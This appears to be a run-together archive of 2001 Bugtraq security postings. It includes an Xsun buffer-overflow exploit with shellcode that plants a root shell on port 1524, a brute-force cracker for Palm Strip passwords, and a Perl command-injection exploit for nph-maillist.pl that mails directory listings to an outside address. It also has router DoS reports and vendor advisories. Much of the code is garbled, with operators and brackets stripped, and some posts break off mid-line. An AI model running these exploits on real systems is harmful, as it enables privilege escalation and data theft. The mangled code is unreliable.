Solaris Xsun buffer overflow vulnerability
Solaris Xsun buffer overflow vulnerability
Discovered and exploited by:
Riley Hassell [EMAIL PROTECTED]
Release Date:
April 10, 2001
Systems Affected:
Solaris 7/8 (x86 and sparc)
Description:
Yet some more Solaris spring cleaning...
A buffer overflow was discovered in Xsun. Since Xsun is SUID root,
exploiting this vulnerability yields root privileges. The overflow exists in
Xsuns handling of the HOME environment variable.
bash-2.03$ HOME=`perl -e 'print "A"x1050'`
bash-2.03$ /usr/openwin/bin/Xsun :1
Warning: There is no XDISPLAY information for display 1.
Server is using XDISPLAY information for display 0.
Default Font Path: /usr/openwin/lib/X11/
Segmentation Fault (core dumped)
Proof of Concept:
/***/
Solaris 7 (x86) /usr/openwin/bin/Xsun
HOME environment overflow
Proof of Concept Exploitation
[EMAIL PROTECTED]
Puts a Root shell on local port 1524
/***/
#include stdio.h
#include stdlib.h
#include string.h
#include unistd.h
#define BUFLEN 1041
/* seteuid/setuid/inetd shell */
char eyecode[] =
"\xeb\x51\x9a\x65\x65\x79\x65\x07\x90\xc3\x5e"
"\x29\xc0\x89\x46\xab\x88\x46\xb0\x89\x46\x0c"
"\x50\xb0\x8d\xe8\xe4\xff\xff\xff\x29\xc0\x50"
"\xb0\x17\xe8\xda\xff\xff\xff\x29\xc0\x88\x46"
"\x17\x88\x46\x1a\x88\x46\x78\x29\xc0\x50\x56"
"\x8d\x5e\x10\x89\x1e\x53\x8d\x5e\x18\x89\x5e"
"\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b\xe8\xb2"
"\xff\xff\xff\x90\x90\xc3\xe8\xb2\xff\xff\xff"
"\x90\x6b\x61\x6d\x90\x90\x90\x90\x90\x90\x90"
"\x90\x90\x90\x90\x90\x2f\x62\x69\x6e\x2f\x73"
"\x68\x20\x2d\x63\x20"
"echo \"ingreslock stream tcp nowait root /bin/sh sh -i\"/tmp/eeye;"
"/usr/sbin/inetd -s /tmp/eeye2001";
char buf[BUFLEN];
unsigned long int nop, esp;
long int offset = 0;
unsigned long int get_esp()
{__asm__("movl %esp,%eax");}
int main (int argc, char *argv[])
{
int i;
if (argc 1)
offset = strtol(argv[1], NULL, 0);
else
offset = -200;
esp = get_esp();
memset(buf, 0x90, BUFLEN);
memcpy(buf+800, eyecode, strlen(eyecode));
*((int *) buf[1037]) = esp+offset;
strncpy(buf[0],"HOME=",5);
putenv(buf);
execl("/usr/openwin/bin/Xsun", "eEye", ":1",NULL);
return;
}
Vendor Status:
Sun Microsystems has been contacted. They are currently working on patches
for this and other related vulnerabilities eEye has discovered. We would
like to thank them for working with us on creating a patch for this
vulnerability.
Workaround:
chmod s /usr/openwin/bin/Xsun
This will remove the setuid bit from Xsun, therefore if someone does exploit
this vulnerability, they wont gain higher privileges.
Greetings:
ADM, Lamagra, Zen-Parse, Loki, and Speakeasy Networks
Copyright (c) 1998-2001 eEye Digital Security
Permission is hereby granted for the redistribution of this alert
electronically. It is not to be edited in any way without express consent of
eEye. If you wish to reprint the whole or any part of this alert in any
other medium excluding electronic medium, please e-mail [EMAIL PROTECTED] for
permission.
Disclaimer
The information within this paper may change without notice. Use of this
information constitutes acceptance for use in an AS IS condition. There are
NO warranties with regard to this information. In no event shall the author
be liable for any damages whatsoever arising out of or in connection with
the use or spread of this information. Any use of this information is at the
user's own risk.
Feedback
Please send suggestions, updates, and comments to:
eEye Digital Security
http://www.eEye.com
[EMAIL PROTECTED]
BINTEC X1200
Kai, sorry for the less information if've given in the last post. here is the detailed info. if've proofed these exploits on two different BIOS Versions again some minutes ago. These BIOS are available for download at www.bintec.de for the Bintec X1200 Router. First Version V5.1 Rev 6 nmap ip -sU -p '53-53' This affects that the Router is booting. It seems that the Router is vulnerable for a normal Port 53 UDP scan. - Second Version V5.3 Rev 1 nmap ip Halts the System and Power off is nessessary. Here is the Output : -- [root@x /root]# nmap 192.168.0.1 Starting nmap V. 2.54BETA7 ( www.insecure.org/nmap/ ) # starting nmap against bintech x1200 caught SIGINT signal, cleaning up # after about 3 sec [root@x /root]# ping c0r3 # trying to ping bintec x1200... PING 192.168.0.1 from 192.168.0.22 : 56(84) bytes of data. # no response... --- 192.168.0.1 ping statistics --- 7 packets transmitted, 0 packets received, 100% packet loss [root@x /root]#55 192.168.0.1 INET: dialup if 10001 prot 17 192.168.0.21:1034-205.188.153.102:4000 Apr 9 19:17:48 192.168.0.1 ACCT: INET: 09.04.2001 19:19:27 2 6 192.168.0.22:2100/1000 - 62.112.136.241:80/10001 24 3585 36 44513 Apr 9 19:17:48 192.168.0.1 ACCT: INET: 09.04.2001 19:19:27 0 17 217.80.196.15:1025/0 - 212.185.248.116:53/10001 1 63 1 173 Apr 9 19:17:48 192.168.0.1 ACCT: INET: 09.04.2001 18:57:37 1309 6 192.168.0.22:2092/1000 - 62.112.136.241:80/10001 24 12334 24 5727 Apr 9 19:18:10 192.168.0.1 ACCT: INET: 09.04.2001 19:19:47 0 17 192.168.0.21:1034/1000 - 205.188.153.102:4000/10001 2 76 1 38 Apr 9 19:18:32 192.168.0.1 ACCT: INET: 09.04.2001 19:20:11 0 6 192.168.0.22:2101/1000 - 62.112.136.241:80/10001 6 800 6 2170 Apr 9 19:18:32 192.168.0.1 ACCT: INET: 09.04.2001 18:57:37 1354 6 192.168.0.22:2093/1000 - 62.112.136.241:80/10001 23 10464 24 5554 Apr 9 19:18:54 192.168.0.1 ACCT: INET: 09.04.2001 19:20:26 1 6 192.168.0.22:2102/1000 - 62.112.136.241:80/10001 30 2139 48 63801 Apr 9 19:18:54 192.168.0.1 ACCT: INET: 09.04.2001 18:57:37 1369 6 192.168.0.22:2094/1000 - 62.112.136.241:80/10001 23 10570 23 5498 Apr 9 19:18:54 192.168.0.1 ACCT: INET: 09.04.2001 18:57:37 1370 6 192.168.0.22:2095/1000 - 62.112.136.241:80/10001 22 9835 22 5181 Apr 9 19:19:05 192.168.0.1 ACCT: INET: 09.04.2001 19:20:27 11 6 192.168.0.22:2103/1000 - 62.112.136.241:80/10001 7 1479 7 1452 Apr 9 19:19:05 192.168.0.1 ACCT: INET: 09.04.2001 19:20:38 1 6 192.168.0.22:2104/1000 - 62.112.136.241:80/10001 12 1285 13 13119 Apr 9 19:19:05 192.168.0.1 ACCT: INET: 09.04.2001 19:20:43 1 6 192.168.0.22:2105/1000 - 62.112.136.241:80/10001 21 1860 32 40868 Apr 9 19:19:16 192.168.0.1 ACCT: INET: 09.04.2001 19:20:48 0 17 192.168.0.21:1034/1000 - 205.188.153.102:4000/10001 2 76 1 38 Apr 9 19:19:38 192.168.0.1 ACCT: INET: 09.04.2001 19:21:15 3 6 192.168.0.21:1043/1000 - 64.4.13.235:1863/10001 9 449 7 381 Apr 9 19:20:53 192.168.0.1 ETHER: slot 1: Auto-negotiation done (100BaseTx/halfdup)1 # after reboot
Re: BinTec X4000 Access Router DoS Vulnerability
Hi again, bios 5.1 has the problem to reboot the router after nmap scan. I hadn't seen any such effect, but that might have been due to the fact I've installed the latest bootimage right from the start - a habit, I guess. new versions halt the complete system. to get it work again, you have to switch the power button on/off. i seems that it depends on the count of simultanous threads scanning against the router. not all nmap scans reboot or halt the router. Not in this case. If you read my last mail containing the workaround, you'd know it was due to a faulty (or better, incomplete) implementation of the pptpd. It cannot process an incoming SYN flagged TCP packet and consequently locks the machine up by consuming 100% CPU time. Considering this, it's quite logical not all nmap scans cause a lockup, since e.g. Null and FIN scans do not issue packets with the SYN flag set. If you have licensed the VPN software, the pptpd is fully functional and you're not going to encounter any of the problems. BinTec has confirmed they're going to publish a new firmware image with a _really_ disabled pptpd. which firmware release do you use on x1200 and x4000 exactly ? what's about 5.1.6P10 (for x4k) ? Installed right from the start. the last one i used here (x1200, isdn/dsl, firmware 5.3.1) does not seem to have this problem... I don't think you can compare the two directly. While all Bintec routers I've seen so far provide a more or less similar UI, details of the OS and feature implementation appears to differ a bit (at least that's my impression from f***ing around a little). which kind of scan do you made ? nmap parameter ? please gimme more details... Usually my first go is: nmap -sS -v -O hostname i think the problem why bintec isn't fixing it, is that this company is nearly ruined. i really don't think so... Neither do I. While it's widely known that BinTec ran into some financial problems during the last business term, they seem to do pretty well at the moment. I'd say they were a bit delayed with the release of their new products, but I don't think they're going down big time. Especially their xDSL stuff seems to sell quite well and consequently wins tests - that's what made me buy the X4000 ;o)) Cheers, Jan -- Radio HUNDERT,6 Medien GmbH Berlin - EDV - [EMAIL PROTECTED]
Re: PIX Firewall 5.1 DoS Vulnerability
Hi, Could this vulnerability exist in other Cisco products using TACACS+ for authentication? For eg. Cisco routers? Siddhartha From: "Claudiu Calomfirescu" [EMAIL PROTECTED] Description: An attacker from inside or outside interfaces of a PIX Firewall 515 or 520, 5.1.4 version running aaa authentication against a TACACS+ Server could cause the PIX to crash and reload by overwhelming it with authentication requests. _ Do You Yahoo!? Get your free @yahoo.com address at http://mail.yahoo.com
Re: AudioGalaxy Satellite - SPYware
Greetings, According to a quote posted on the CounterExploitation website (http://cexx.org/webhancer.htm), this so-called SPYware is designed to perform a specific client-side function: (FYI, the CounterExploitation page includes detailed removal instructions...) "webHancer Customer Companion resides on the end-user's computer, where it transparently monitors Internet performance. webHancer Customer Companion measures overall network/site delay and the performance times experienced by actual end-users." Here's another quote right from the webHancer site: (http://www.webhancer.com/site/) "webHancer measures web site performance from the perspective of millions of end user desktops, giving e-businesses a window on the levels of performance real people will tolerate." Essentially, this is a distributed network performance monitoring application - by including it in their software distribution, it would appear AudioGalaxy is trying to keep tabs on the available network BW to ensure quality service for their users. IMHO their heart is in the right place but end-users should be given the opportunity to opt out if they want to. Alex Arndt, GCIA PGP Fingerprint: 6AB4 C192 640A 93C0 A802 38B7 9FC5 1D14 F121 3E24 "Within all order is the potential for chaos..." -Original Message- From: Bugtraq List [mailto:[EMAIL PROTECTED]]On Behalf Of Derek Reynolds Sent: Sunday, April 08, 2001 1:37 PM To: [EMAIL PROTECTED] Subject: AudioGalaxy Satellite - SPYware Wasn't sure if this topic has already come up. Installing Audiogalaxy automatically installs a small tracking or "spy" program called Webhancer. This program not only tracks where you go on the Internet but also reads files on your hard drives and sends info to some company. snip Best regards, -Derek Reynolds mailto:[EMAIL PROTECTED]
Catastrophic failure of Strip password generation.
Executive summary: If you have ever used Strip for the Palm to
generate your passwords, change them. Change them NOW.
Strip (Secure Tool for Recalling Important Passwords) is a nice
encrypted password notebook for the Palm; see
http://www.zetetic.net/products.html for details.
Strip-0.5 also features a function for generating passwords, which
certainly has some appeal to anyone who generates passwords
frequently.
However, this function has some flaws, one of which has the effect
to limit the number of different passwords strip can create to 2^16
per class (alphanumeric, alphabetic, numeric, ... with N
characters).
Generating this number of passwords and trying each of them with
crypt(3) is a matter of less than 3 seconds on a current PC running
Linux.
The attached program can be used to demonstrate this in the case of
alphanumeric passwords containing 8 characters. Just take your
encrypted, strip-generated password from /etc/shadow, and pass it as
the single command line argument. (Covering the other classes of
passwords strip can generate is left as an exercise.)
The Flaws
- Strip uses the PalmOS SysRandom() function to generate the
passwords. SysRandom() is a very simplistic linear PRNG, which
should most likely not be used for password generation.
- Strip tries to seed this PRNG with the result of TimGetTicks().
TimGetTicks() returns the number of ticks (1 Tick = 10ms on
current devices) since the last reset of your Palm. The ticks
counter is not incremented when the device is turned off.
Obviously, small values for the TimGetTicks() result are much more
likely than large values, so an attacker could just start at 0 and
try any possible ticks value. This kind of attack would already
be quite successfull and efficient - at least against any
passwords generated during the first couple of months of regular
use of a PalmOS device after a reboot.
- The actual implementation has a bug which finally limits the
search space to trivial dimensions: TimeGetTicks() returns a 32
bit integer value, and the PRNG expects such a value as its seed.
However, the return value from TimeGetTicks() is stored in a 16
bit Int variable.
Thus, the numbers 0, ..., 0x are the only seeds which will
ever be used, limiting the number of possible passwords of any
class to 2^16.
Credits
Thanks to Ian Goldberg for posting his (correct) take at the
SysRandom() function to coderpunks, and to Marc Haber for telling me
about Strip.
Cheers,
--
Thomas Roessler [EMAIL PROTECTED]
/*
* Crack passwords generate by strip ("Secure Tool for Recalling
* Important Passwords") for the Palm; see
* http://www.zetetic.net/products.html for details.
*
* Copyright (c) 2001 by Thomas Roessler
* [EMAIL PROTECTED].
*
* Use, distribute and modify freely.
*
*/
#include stdio.h
#include stdlib.h
#include string.h
#include crypt.h
/* The PalmOS SysRandom() RNG. */
static unsigned int multiplier = 22695477;
static unsigned int _seed = 0;
short palm_rand (unsigned int new_seed)
{
if (new_seed)
_seed = new_seed;
_seed = (_seed * multiplier) + 1;
return (short) ((_seed 16) 0x7fff);
}
/*
* Strip's password generation algorithm for the alphanumeric case -
* you can easily change this to cover the other cases as well.
*/
static char *alphas = "abcdefhijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ";
static char *numerics = "0123456789";
char *possible_password (unsigned int seed, int size)
{
static char pwbuff[1024];
char z[1024];
int i, r;
int valids;
if (size sizeof (pwbuff))
exit (1);
sprintf (z, "%s%s",numerics, alphas);
valids = strlen (z);
r = palm_rand (seed);
for (i = 0; i size; i++)
{
r = palm_rand (0);
pwbuff[i] = z[r % valids];
}
pwbuff[i] = '\0';
return pwbuff;
}
/* check all possible passwords */
int main (int argc, char *argv[])
{
int i;
char *pw;
for (i = 0; i = 0x; i++)
{
pw = possible_password ((short) i, 8);
if (!argv[1] || !strcmp (argv[1], crypt (pw, argv[1])))
printf ("%s\n", pw);
}
return 0;
}
PGP signature
Re: Possible DoS to hosts running Veritas Netbackup
This vulnerability sounds exactly the same as the one in Veritas Backup Exec Agent discovered in September 3, 1999 and re-discovered in January 15, 2001. This was posted to Bugtraq with ID 2204. This was posted to the vendor, but until now I haven't seen a patch. Eelco [EMAIL PROTECTED] wrote: Possible DoS for hosts running Veritas Netbackup Client
Re: ntp-4.99k23.tar.gz is available
Chiaki Ishikawa [EMAIL PROTECTED] writes: Has anyone tested the exploit against embedded ntp implementations such as in Cisco router, for example, to see if the daemon would misbehave, etc.? I couldn't do anything to the NTP implementation of a Cisco router here with the stock "ntpdx" exploit as it was posted. (It doesn't crash, it doesn't exhibit same heap corruption as xntpd v3.) Which, of course, doesn't mean IOS isn't vulnerable. Crafting an exploit that would do something useful (as opposed to make the router stop serving time) would be quite difficult though without IOS internals knowledge, so there's some consolation here. -- Stanislav Shalunov http://www.internet2.edu/~shalunov/ Sex is the mathematics urge sublimated. -- M. C. Reed.
X4000 DoS: Details and workaround
System affected: --- BinTec X4000 Router All firmware versions [as far as I know, only verified with latest release 5.1.6 Patch 10] Machines with activated additional VPN software license are *NOT* affected, neither are machines which filter 1723/tcp. Description: --- As mentioned before, under the given circumstances the X4000 will lock up after sending a SYN portscan to it. Further examination of the phenomenon at BinTec has shown that sending a SYN flagged TCP packet to port 1723 (pptp) will cause the machine to behave in the described way. The pptp daemon should be activated only when the software license key is entered and it can process incoming packets adequately. However, it isnt. When the 'dormant' pptpd receives a SYN packet and cannot process it, the daemon claims 100% CPU usage and the machine locks up. This, of course, happens when a SYN portscan against the machine is issued and port 1723 gets hit - you can also easily check it with 'telnet my.machines.ip 1723' or your favourite packet injector. Solution: There are two solutions: One of them is less pricey than the other ;o)) If you wanted to buy the VPN software anyway, just go ahead and enter the key. If not, you should include a rule which drops 1723/tcp directed at all interfaces of your router (as you should do anyway if you don't use it). Vendor response: --- Some might remember a little bitter notion with my first mailing. However, the day after I posted to Bugtraq the development director contacted me. He was very eager to help and asked for my config file and a stack trace, which I send them as quick as possible. He reassured me that the problem was taken seriously, but mentioned that they could not reproduce the phenomenon, so they would take a look at my config and see what might have caused it. All this was yesterday. Today, the leading developer (I assume) for the X4000's firmware called me and was able to present the above solution. He had tried to reproduce the DoS on a machine with VPN license first and only after a long night got the idea that the pptp daemon might be the culprit (I _did_ pity him). Comment: --- I hope you don't mind a personal comment. The sheer fact that I did not get any response after first informing support staff of the issue really upset me quite a bit. I really expected some reaction within less than almost three weeks. Going public changed the response level pretty quickly ;o) To be fair I have to state that all the staff I talked to during the last few days were seeming absolutely competent and very eager to help. Everyone involved stressed how sorry they were about the delay and how unusual this was. From my personal experience I could only say this is probably true, since we've been using other BinTec products for years and they generally performed very well, especially compared with products of another, erm, well-known vendor. As for my statement about the recently introduced money back warranty, I could only say that I now do believe this was launched under the assumption of a totally stable platform. They surely didn't know the vulnerabilty. No, I was not bribed to say this ;o)) -- Radio HUNDERT,6 Medien GmbH Berlin - EDV - [EMAIL PROTECTED]
[RHSA-2001:042-02] Updated pine packages available
- Red Hat, Inc. Red Hat Security Advisory Synopsis: Updated pine packages available Advisory ID: RHSA-2001:042-02 Issue date:2001-03-31 Updated on:2001-04-09 Product: Red Hat Linux Keywords: pine pico temporary file tmpfile symlink vulnerability race Cross references: Obsoletes: - 1. Topic: Updated pine packages are now available for Red Hat Linux 7.0, 6.2, and 5.2. These new updated packages fix temporary file creation issues in the pine mail client and the pico text editor that comes with pine. 2. Relevant releases/architectures: Red Hat Linux 5.2 - alpha, i386, sparc Red Hat Linux 6.2 - alpha, i386, sparc Red Hat Linux 7.0 - alpha, i386 3. Problem description: Previous versions of the pine email client, and the pico editor have had various temporary file creation issues that allow any user with local system access, to cause files owned by anyone including root to potentially be overwritten if the right set of conditions are met. 4. Solution: To update all RPMs for your particular architecture, run: rpm -Fvh [filenames] where [filenames] is a list of the RPMs you wish to upgrade. Only those RPMs which are currently installed will be updated. Those RPMs which are not installed but included in the list will not be updated. Note that you can also use wildcards (*.rpm) if your current directly *only* contains the desired RPMs. Please note that this update is also available via Red Hat Network. Many people find this an easier way to apply updates. To use Red Hat Network, launch the Red Hat Update Agent with the following command: up2date This will start an interactive process that will result in the appropriate RPMs being upgraded on your system. 5. Bug IDs fixed (http://bugzilla.redhat.com/bugzilla for more info): 20865 - Pine 4.30 crashes on certain folders 21158 - spell check ceases to function with pine-4.30-1.62 21271 - gpg encryption doesn't work with more than one recipients 21282 - Pine 4.30 File attach 22113 - Pine with new folders 23679 - pine corrupts outgoing mail 23952 - RFE: PinePGP 0.15.3 24902 - pine's filters fail to properly encrypt mail sent to multiple recipients (using gpg) 6. RPMs required: Red Hat Linux 5.2: SRPMS: ftp://updates.redhat.com/5.2/en/os/SRPMS/pine-4.33-5.5x.src.rpm alpha: ftp://updates.redhat.com/5.2/en/os/alpha/pine-4.33-5.5x.alpha.rpm i386: ftp://updates.redhat.com/5.2/en/os/i386/pine-4.33-5.5x.i386.rpm sparc: ftp://updates.redhat.com/5.2/en/os/sparc/pine-4.33-5.5x.sparc.rpm Red Hat Linux 6.2: SRPMS: ftp://updates.redhat.com/6.2/en/os/SRPMS/pine-4.33-6.6x.src.rpm alpha: ftp://updates.redhat.com/6.2/en/os/alpha/pine-4.33-6.6x.alpha.rpm i386: ftp://updates.redhat.com/6.2/en/os/i386/pine-4.33-6.6x.i386.rpm sparc: ftp://updates.redhat.com/6.2/en/os/sparc/pine-4.33-6.6x.sparc.rpm Red Hat Linux 7.0: SRPMS: ftp://updates.redhat.com/7.0/en/os/SRPMS/pine-4.33-7.src.rpm alpha: ftp://updates.redhat.com/7.0/en/os/alpha/pine-4.33-7.alpha.rpm i386: ftp://updates.redhat.com/7.0/en/os/i386/pine-4.33-7.i386.rpm 7. Verification: MD5 sum Package Name -- a43bf41fc31125aef0e9381b5c96d369 5.2/en/os/SRPMS/pine-4.33-5.5x.src.rpm 48e31aadaf4922e6fdb75fc98d627539 5.2/en/os/alpha/pine-4.33-5.5x.alpha.rpm e1bd691d2c97442aad4dd1e33f88456a 5.2/en/os/i386/pine-4.33-5.5x.i386.rpm c2a1b343ab45b8ff048a42fc3025a7cd 5.2/en/os/sparc/pine-4.33-5.5x.sparc.rpm ef2aa8e5f064ccd1ba469e7ed563d1c6 6.2/en/os/SRPMS/pine-4.33-6.6x.src.rpm 3903e37155fe557b3e1f615f1b6f437c 6.2/en/os/alpha/pine-4.33-6.6x.alpha.rpm 56c85a7f1044e43030f5ee8bd0108515 6.2/en/os/i386/pine-4.33-6.6x.i386.rpm 8bcc1bf069db5ab4a2b8531ab3a5ac11 6.2/en/os/sparc/pine-4.33-6.6x.sparc.rpm 9aa9644934b290f1e55d6a2a96e3f12d 7.0/en/os/SRPMS/pine-4.33-7.src.rpm b64337030032f68609db57faa1bb2ee5 7.0/en/os/alpha/pine-4.33-7.alpha.rpm ef8d1e7d5a28b74a7a088ef67ed98dff 7.0/en/os/i386/pine-4.33-7.i386.rpm These packages are GPG signed by Red Hat, Inc. for security. Our key is available at: http://www.redhat.com/corp/contact.html You can verify each package with the following command: rpm --checksig filename If you only wish to verify that each package has not been corrupted or tampered with, examine only the md5sum with the following command: rpm --checksig --nogpg filename 8. References: http://hacksware.com/projects/vuls/mon_pine.html Copyright(c) 2000, 2001 Red Hat, Inc.
Re: [COVERT-2001-02] Globbing Vulnerabilities in Multiple FTP Daemons
NcFTPd Server for UNIX from NcFTP Software is not vulnerable to the pathname globbing buffer overflow described by NAI COVERT Labs advisory (COVERT-2001-02) (which is also documented in CERT Advisory CA-2001-07). Additionally, NcFTPd Server is not vulnerable to the globbing denial-of-service bug mentioned recently (March 16) on BUGTRAQ. Mike Gleason NcFTP Software http://www.NcFTP.com (I apologize in advance if this message does not display correctly - I disabled HTML mail format in Microsoft Outlook so hopefully there will be no problems.) smime.p7s
Re: ntp-4.99k23.tar.gz is available
Chiaki Ishikawa wrote: Has anyone tested the exploit against embedded ntp implementations such as in Cisco router, for example, to see if the daemon would misbehave, etc.? Cisco has said they are aware of the advisories and investigating the issue. That's all I know. I do not have a convenient sacrificial Cisco box at the moment... but I probabaly should go set one up for this and other games. -- Crist J. ClarkNetwork Security Engineer [EMAIL PROTECTED]Globalstar, L.P. (408) 933-4387FAX: (408) 933-4926 The information contained in this e-mail message is confidential, intended only for the use of the individual or entity named above. If the reader of this e-mail is not the intended recipient, or the employee or agent responsible to deliver it to the intended recipient, you are hereby notified that any review, dissemination, distribution or copying of this communication is strictly prohibited. If you have received this e-mail in error, please contact [EMAIL PROTECTED]
Re: multiple vulnerabilities in Alcatel Speed Touch DSL modems
-Oorspronkelijk bericht- Van: Bugtraq List [mailto:[EMAIL PROTECTED]]Namens Tom Perrine Verzonden: dinsdag 10 april 2001 9:33 Aan: [EMAIL PROTECTED] Onderwerp: multiple vulnerabilities in Alcatel Speed Touch DSL modems -BEGIN PGP SIGNED MESSAGE- Subject: multiple vulnerabilities in Alcatel ADSL-Ethernet bridge devices Just wondering, didn't you find 2 types of remote Denial of service? 1) if you send big ICMP packets 2) and certain types of portscans See also: http://www.securityfocus.com/frames/?content=/templates/archive.pike%3Flist% 3D82%26mid%3D164842 http://www.securityfocus.com/frames/?content=/templates/archive.pike%3Flist% 3D82%26mid%3D164999 http://www.securityfocus.com/frames/?content=/templates/archive.pike%3Flist% 3D82%26mid%3D165166 gtx, Gerrie
Re: AudioGalaxy Satellite - SPYware
Derek Reynolds wrote: Installing Audiogalaxy automatically installs a small tracking or "spy" program called Webhancer. This program not only tracks where you go on the Internet but also reads files on your hard drives and sends info to some company. Even after completing Audiogalaxy Satellite's rudimentary recommended uninstall method which involves manually deleting it's file folder, Webhancer was still on up I asked Audio Galaxy about this, and got a polite letter from Michael Merhej [EMAIL PROTECTED]. According to Mr. Merhej, the install screens tell you that you're about to install WebHancer. I also checked out the WebHancer site; they have a very clear privacy policy, and a PDF of a Deloitte Touche audit of it. They say that they only collect timing data, no personally identifiable information, do not allow third party correlations, and keep the data protected. I'm not sure that Audio Galaxy or WebHancer deserve vilification; they both seem to have taken reasonable steps to protect privacy and to warn users of what they are doing. Regards, David Johnston Little Bald Consulting [EMAIL PROTECTED] References: Privacy policy at www.webhancer.com/site/products/privacy/ Deloitte Touche audit at /site/products/privacy/assert/Report-final2.pdf
CGI - nph-maillist.pl vulnerability...
Hello BuGReaders...
##Script: nph-maillist.pl[cgi]
##Introduction:
cat from source
Created by: Matt Tourtillott
URL: www.marketrends.net email [EMAIL PROTECTED]
The email list generator is a web interfaced script that allows the visitors
on your web site to leave their email address so they may be notified when you
update your web site.
This script also provides the the ability to create and change the message you
wish to send to your list right from the web browser as well as to maintain
the list being generated.
There are two parts to the script. the nph-maillist.pl file carries all the
functionality for the web interface and the mailengine.pl is the work horse
that runs in the background until all of the list is emailed.
/cat
##Tested Version: 3.0 , 3.5
In mailengine.pl we can find somethink like this:
[very small cut]...
$mailprog="/usr/sbin/sendmail";
$mailfile = "mail.txt";
open (BSS, $mailfile) || die "Cannot open $mailfile";
@mailf = BSS;
close (BSS);
foreach $SIZE (@mailf) {
$SIZE =~ s/\n//g;
open (MAIL, "|$mailprog $SIZE") || die "Cannot open $mailprog";
...
Where $mailfile is file with emails adress... [not in PostgreSql format ;]
If We send our email adress like:
[EMAIL PROTECTED] ;ls -al /etc|mail [EMAIL PROTECTED]
and We post mailengine.pl we can run our commands :]
Ok.
But in maillist.pl We can find:
...
if ($FORM{'emailaddress'} !~ /\@/) { bad_email();}
if ($FORM{'emailaddress'} !~ /\./) { bad_email();}
if ($FORM{'emailaddress'} =~ /\ /) { bad_email();}
if ($FORM{'emailaddress'} =~ /\)/) { bad_email();}
if ($FORM{'emailaddress'} =~ /\(/) { bad_email();}
if ($FORM{'emailaddress'} =~ /\:/) { bad_email();}
if ($FORM{'emailaddress'} =~ /\//) { bad_email();}
if ($FORM{'emailaddress'} =~ /\\/) { bad_email();}
if ($FORM{'emailaddress'} =~ /\http:/) { bad_email();}
...
Where emailaddress is posted emailaddress ;]]...
We must add @ and . ... This is no problem :]
We like characters " ","/","\" ... and We cant use them... Argh..
But... :]
Author dont parse " ` " character :]]
We can change our "/" in command `head -n1 nph-maillist.pl|cut -c3` :]]
Yes i know. We cant use " " ... but we can use "\t" [tabs] :]
If we change "/" in `head\t-n1\tnph-maillist.pl|cut\t-c3' that
nph-maillist.cgi accept this email :
When We can change / , We can change any "BAD" characters in our good
characters ;]]
... and runs our commands ... :] Thats all...
Simple exploit in perl:
---
#!/usr/bin/perl
# nph-maillist hack... Kanedaaa [ [EMAIL PROTECTED] ]
# its add crazy @email, sends mails, and execute our code of coz ;]
#
# greetzzz to all of Bohatery... [Breslau Kilerz, Lam3rz, my Mom, dog,
# hamster... maybe this is not hamster..., wine, SobiechOS, wine, Cucumber
# Team Members... yeah. i must go sleep. ;]
# and #phreakpl, #hackingpl :]
#
# . remember thats just simple sploit... You cant play in koules this.. ;]
use Socket;
# Ip...
$ip="127.0.0.1";
# Command to run ...
$command = 'ls -al|mail [EMAIL PROTECTED]';
#
if (!$ARGV[0]) {
print "nph-maillist hack... Kanedaaa [kaneda\@ac.pl]\n";
print ".Use the force, edit source...[ ip command ]\n";
print "\n";
print "1:./nph-maillist-ogorek.pl send - add our special \@email to the list.\n";
print "2:./nph-maillist-ogorek.pl hack - sends emails from list and execute our
code.\n";
}
if ($ARGV[0] eq "send") { send }
if ($ARGV[0] eq "hack") { hack }
sub send
{
###
# You cant add this BAD chars... but we can hack this ;]
#" "")" "(" ":" "/" "\" "http:"
###
# Hack the "/" problem... change "/" - `head -n1 nph-maillist.pl|cut -c3`
#
$command =~ s/\//`head -n1 nph-maillist.pl|cut -c3`/g;
#
# Hack the ":" problem... change ":" - `grep ntent-type nph-maillist.pl|tail -n1|awk
-F "type" {'print $2'}|cut -c1`
#
$command =~ s/:/`grep ntent-type nph-maillist.pl|tail -n1|awk -F "type" {'print
\$2'}|cut -c1`/g;
#
# Hack the "\" problem... change "\" - `grep BGCOLOR nph-maillist.pl|tail -n1|awk -F
"=" {'print \$2'}|cut -c1`
#
$command =~ s/\\/`grep BGCOLOR nph-maillist.pl|tail -n1|awk -F "=" {'print \$2'}|cut
-c1`/g;
#
# Hack the "(" problem... change "(" - `grep scalar nph-maillist.pl|tail -n1|awk -F
"scalar" {'print \$2'}|cut -c1`
#
$command =~ s/\(/`grep scalar nph-maillist.pl|tail -n1|awk -F "scalar" {'print
\$2'}|cut -c1`/g;
#
# Hack the ")" problem... change ")" - `grep unlink nph-maillist.pl|awk -F "jobx"
{'print \$2'}|cut -c1`
#
$command =~ s/\)/`grep unlink nph-maillist.pl|awk -F "jobx" {'print \$2'}|cut -c1`/g;
###
# Change ascii to hex...
$command =~ s/([^\w\!*-])/sprintf("%%%02X",ord($1))/ge;
#
# Hack the " " problem... change " " - "\t" [TAB]
$command =~ s/%20/%09/g;
$r =
Console 3200 telnetd problem.
Hi, I've been testing a Lightwave ConsoleServer 3200 recently, and have come across some potentially dangerous security weaknesses with the firmware. To log in to the unit, you telnet to the console server on TCP port 23 for regular user access, or 5000 for the System Administrator. When you initiate a telnet session, you are automatically dropped to a CLI, where you can type 'login' to start an authenticated session. The problems that I have discovered are that the system is vulnerable to brute force style password attacks, and that a malicous user can glean a certain amount of information about the unit and its enviroment without authentication of any kind. To be specific: [1] When telneting to the unit on port 23 to log in as a regular user, the connection is immediately accepted and you are dropped to a "pre-login prompt", where you must type 'login' to log in to the unit. After an unsuccessfull login, you are again returned to the "pre-login prompt" where you can again type 'login' and start over. There are no delays associated with a failed login attempt, nor is the TCP connection even dropped to at least make brute forcing the unit a hassle for a malicious user. A brute force attack could be expediated by already having a list of usernames as described in [2]. I could not find any configuration option to disable this behaviour, and worse yet I could not find any way of logging such failed attempts. [2] I have discovered with the ConsoleServer 3200 are that when you telnet to the unit's System Administrator interface on TCP port 5000, you can use the inbuilt CLI to glean information in the "pre-login mode". - What expansion cards are in the unit. - Who is currently logged into the unit (allowing a malicious user to gather a list of users on the system). - What console's (serial ports) have been configured (all of the serial ports that have been configured have a name, commonly the hostname of the machine). - The status of the power supplies. - Ethernet interface configuration (MAC addr, gateway, netmask). When you make three incorrect login attempts on the System Administrator port, the TCP connection is closed, but it seems not logged anywhere as in [1]. This sort of information leakage is of great concern to me, and the common belief that an unauthenticated user should not be able to get any information at all out of a host. If a malicous user was able to brute force 